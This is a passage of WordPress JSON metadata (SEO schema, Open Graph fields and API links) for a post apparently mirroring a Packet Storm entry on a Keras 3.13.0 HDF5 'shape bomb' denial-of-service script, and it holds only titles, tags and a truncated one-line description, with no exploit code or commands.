Service_PACKETSTORM:219685\",\"datePublished\":\"2026-04-23T13:51:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48981\"},\"wordCount\":2583,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=48981#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48981\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48981\",\"name\":\"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-23T13:51:21+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48981#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=48981\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48981#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=48981","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-23T17:44:01&#8243;,&#8221;description&#8221;:&#8221;This script is a security research tool demonstrating a denial of service vulnerability in Keras model loading through malicious HDF5 shape bombs. It generates .keras...","og_url":"https:\/\/zero.redgem.net\/?p=48981","og_site_name":"zero redgem","article_published_time":"2026-04-23T13:51:21+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=48981#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=48981"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685","datePublished":"2026-04-23T13:51:21+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=48981"},"wordCount":2583,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=48981#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=48981","url":"https:\/\/zero.redgem.net\/?p=48981","name":"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-23T13:51:21+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=48981#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=48981"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=48981#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/48981","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=48981"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/48981\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=48981"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=48981"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=48981"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}